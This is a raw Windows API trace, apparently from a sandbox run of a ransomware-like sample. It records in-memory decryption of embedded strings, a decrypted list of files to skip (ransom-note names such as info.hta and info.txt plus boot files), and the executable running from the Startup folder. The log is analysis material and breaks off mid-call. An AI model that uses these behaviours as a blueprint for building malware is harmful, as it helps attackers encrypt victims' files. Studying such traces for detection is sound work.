CryptDestroyKey (hKey=0x7b5ba0) returned 1 [0123.995] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe714c0 [0123.995] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbe4 | out: phKey=0x53fbe4*=0x7b60e0) returned 1 [0123.996] CryptSetKeyParam (hKey=0x7b60e0, dwParam=0x1, pbData=0x53fbcc, dwFlags=0x0) returned 1 [0123.996] CryptDecrypt (in: hKey=0x7b60e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714c0, pdwDataLen=0x53fb98 | out: pbData=0xe714c0, pdwDataLen=0x53fb98) returned 1 [0123.996] CryptDestroyKey (hKey=0x7b60e0) returned 1 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe714d8 [0123.996] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbdc | out: phKey=0x53fbdc*=0x7b5fe0) returned 1 [0123.996] CryptSetKeyParam (hKey=0x7b5fe0, dwParam=0x1, pbData=0x53fbc4, dwFlags=0x0) returned 1 [0123.996] CryptDecrypt (in: hKey=0x7b5fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714d8, pdwDataLen=0x53fb90 | out: pbData=0xe714d8, pdwDataLen=0x53fb90) returned 1 [0123.996] CryptDestroyKey (hKey=0x7b5fe0) returned 1 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0123.996] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbd4 | out: phKey=0x53fbd4*=0x7b59e0) returned 1 [0123.996] CryptSetKeyParam (hKey=0x7b59e0, dwParam=0x1, pbData=0x53fbbc, dwFlags=0x0) returned 1 [0123.996] CryptDecrypt (in: hKey=0x7b59e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0x53fb88 | out: pbData=0xe752c0, pdwDataLen=0x53fb88) returned 1 [0123.996] CryptDestroyKey (hKey=0x7b59e0) returned 1 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe714f0 [0123.996] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbcc | out: phKey=0x53fbcc*=0x7b5f60) returned 1 [0123.996] CryptSetKeyParam (hKey=0x7b5f60, dwParam=0x1, pbData=0x53fbb4, dwFlags=0x0) returned 1 [0123.996] CryptDecrypt (in: hKey=0x7b5f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714f0, pdwDataLen=0x53fb80 | out: pbData=0xe714f0, pdwDataLen=0x53fb80) returned 1 [0123.996] CryptDestroyKey (hKey=0x7b5f60) returned 1 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x70) returned 0xe75358 [0123.996] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbc4 | out: phKey=0x53fbc4*=0x7b6020) returned 1 [0123.996] CryptSetKeyParam (hKey=0x7b6020, dwParam=0x1, pbData=0x53fbac, dwFlags=0x0) returned 1 [0123.996] CryptDecrypt (in: hKey=0x7b6020, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe75358, pdwDataLen=0x53fb78 | out: pbData=0xe75358, pdwDataLen=0x53fb78) returned 1 [0123.996] CryptDestroyKey (hKey=0x7b6020) returned 1 [0123.996] htonl (hostlong=0xb4197730) returned 0x307719b4 [0123.996] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x20, pbBuffer=0x53fcb8 | out: pbBuffer=0x53fcb8) returned 1 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x28) returned 0xe71508 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe71538 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe71550 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x14) returned 0xe753d0 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe753f0 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x80) returned 0xe75408 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe75490 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x82) returned 0xe754a8 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe75538 [0123.996] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe75550 [0123.996] CryptAcquireContextW (in: phProv=0x133fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x133fcf4*=0x7bbb78) returned 1 [0123.997] CryptGenRandom (in: hProv=0x7bbb78, dwLen=0x55, pbBuffer=0x53fc22 | out: pbBuffer=0x53fc22) returned 1 [0123.997] GetLastError () returned 0x0 [0123.997] GetLastError () returned 0x0 [0123.997] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe75560 [0123.997] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x80) returned 0xe75578 [0123.997] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe75600 [0123.997] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x2) returned 0xe704a0 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe704b0 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe704c0 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x80) returned 0xe704d8 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78738 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe70560 [0124.010] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe704a0, Size=0x82) returned 0xe78b50 [0124.010] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe70560, Size=0x100) returned 0xe78be0 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78720 [0124.010] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x82) returned 0xe78ce8 [0124.011] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78618 [0124.011] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x82) returned 0xe78d78 [0124.011] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe78b50, Size=0x104) returned 0xe78e08 [0124.011] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe78be0, Size=0x200) returned 0xe78f18 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe704b0 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78f18 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78738 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75578 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75560 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe704d8 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe704c0 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78e08 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75600 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78ce8 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78720 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78d78 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78618 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71550 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71538 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe754a8 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75490 | out: hHeap=0xe70000) returned 1 [0124.011] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75408 | out: hHeap=0xe70000) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753f0 | out: hHeap=0xe70000) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75550 | out: hHeap=0xe70000) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75538 | out: hHeap=0xe70000) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71508 | out: hHeap=0xe70000) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753d0 | out: hHeap=0xe70000) returned 1 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xa4) returned 0xe704a0 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x66) returned 0xe753d0 [0124.012] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe753d0, Size=0xca) returned 0xe753d0 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78630 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xb40) returned 0xe78b50 [0124.012] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbbc | out: phKey=0x53fbbc*=0x7b61a0) returned 1 [0124.012] CryptSetKeyParam (hKey=0x7b61a0, dwParam=0x1, pbData=0x53fba4, dwFlags=0x0) returned 1 [0124.012] CryptDecrypt (in: hKey=0x7b61a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78b50, pdwDataLen=0x53fb70 | out: pbData=0xe78b50, pdwDataLen=0x53fb70) returned 1 [0124.012] CryptDestroyKey (hKey=0x7b61a0) returned 1 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78660 [0124.012] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbb4 | out: phKey=0x53fbb4*=0x7b5f60) returned 1 [0124.012] CryptSetKeyParam (hKey=0x7b5f60, dwParam=0x1, pbData=0x53fb9c, dwFlags=0x0) returned 1 [0124.012] CryptDecrypt (in: hKey=0x7b5f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78660, pdwDataLen=0x53fb68 | out: pbData=0xe78660, pdwDataLen=0x53fb68) returned 1 [0124.012] CryptDestroyKey (hKey=0x7b5f60) returned 1 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe754a8 [0124.012] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb8c | out: phKey=0x53fb8c*=0x7b59e0) returned 1 [0124.012] CryptSetKeyParam (hKey=0x7b59e0, dwParam=0x1, pbData=0x53fb74, dwFlags=0x0) returned 1 [0124.012] CryptDecrypt (in: hKey=0x7b59e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe754a8, pdwDataLen=0x53fb40 | out: pbData=0xe754a8, pdwDataLen=0x53fb40) returned 1 [0124.012] CryptDestroyKey (hKey=0x7b59e0) returned 1 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x84) returned 0xe75540 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x84) returned 0xe79698 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe79728 [0124.012] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fafc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb64 | out: phKey=0x53fb64*=0x7b5da0) returned 1 [0124.012] CryptSetKeyParam (hKey=0x7b5da0, dwParam=0x1, pbData=0x53fb4c, dwFlags=0x0) returned 1 [0124.012] CryptDecrypt (in: hKey=0x7b5da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79728, pdwDataLen=0x53fb18 | out: pbData=0xe79728, pdwDataLen=0x53fb18) returned 1 [0124.012] CryptDestroyKey (hKey=0x7b5da0) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79728 | out: hHeap=0xe70000) returned 1 [0124.012] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xe75540, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79698 | out: hHeap=0xe70000) returned 1 [0124.012] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe754a8 | out: hHeap=0xe70000) returned 1 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe755d0 [0124.012] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb88 | out: phKey=0x53fb88*=0x7b5aa0) returned 1 [0124.012] CryptSetKeyParam (hKey=0x7b5aa0, dwParam=0x1, pbData=0x53fb70, dwFlags=0x0) returned 1 [0124.012] CryptDecrypt (in: hKey=0x7b5aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe755d0, pdwDataLen=0x53fb3c | out: pbData=0xe755d0, pdwDataLen=0x53fb3c) returned 1 [0124.012] CryptDestroyKey (hKey=0x7b5aa0) returned 1 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x18) returned 0xe755f8 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x18) returned 0xe70550 [0124.012] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe754a8 [0124.012] CryptImportKey (in: hProv=0x7868d8, pbData=0x53faf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb60 | out: phKey=0x53fb60*=0x7b60e0) returned 1 [0124.013] CryptSetKeyParam (hKey=0x7b60e0, dwParam=0x1, pbData=0x53fb48, dwFlags=0x0) returned 1 [0124.013] CryptDecrypt (in: hKey=0x7b60e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe754a8, pdwDataLen=0x53fb14 | out: pbData=0xe754a8, pdwDataLen=0x53fb14) returned 1 [0124.013] CryptDestroyKey (hKey=0x7b60e0) returned 1 [0124.013] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe754a8 | out: hHeap=0xe70000) returned 1 [0124.013] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xe755f8, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0124.013] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe70550 | out: hHeap=0xe70000) returned 1 [0124.013] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe755d0 | out: hHeap=0xe70000) returned 1 [0124.013] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe79698 [0124.013] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe798b0 [0124.013] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe798b0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0124.013] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe798b0 | out: hHeap=0xe70000) returned 1 [0124.013] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xb38) returned 0xe798b0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.013] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.014] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.015] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.016] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.017] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.018] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] GetLastError () returned 0x0 [0124.019] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe798b0, Size=0xb46) returned 0xe798b0 [0124.019] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x86) returned 0xe754a8 [0124.020] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe754a8, Size=0x9e) returned 0xe7a400 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1a) returned 0xe755d0 [0124.020] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fce4 | out: phKey=0x53fce4*=0x7b5fa0) returned 1 [0124.020] CryptSetKeyParam (hKey=0x7b5fa0, dwParam=0x1, pbData=0x53fccc, dwFlags=0x0) returned 1 [0124.020] CryptDecrypt (in: hKey=0x7b5fa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe70550, pdwDataLen=0x53fc98 | out: pbData=0xe70550, pdwDataLen=0x53fc98) returned 1 [0124.020] CryptDestroyKey (hKey=0x7b5fa0) returned 1 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe70578 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71490 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe714b8 [0124.020] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcbc | out: phKey=0x53fcbc*=0x7b61a0) returned 1 [0124.020] CryptSetKeyParam (hKey=0x7b61a0, dwParam=0x1, pbData=0x53fca4, dwFlags=0x0) returned 1 [0124.020] CryptDecrypt (in: hKey=0x7b61a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714b8, pdwDataLen=0x53fc70 | out: pbData=0xe714b8, pdwDataLen=0x53fc70) returned 1 [0124.020] CryptDestroyKey (hKey=0x7b61a0) returned 1 [0124.020] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b8 | out: hHeap=0xe70000) returned 1 [0124.020] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe70578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0124.020] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0124.020] HeapFree (in: hHeap=0xe70000, 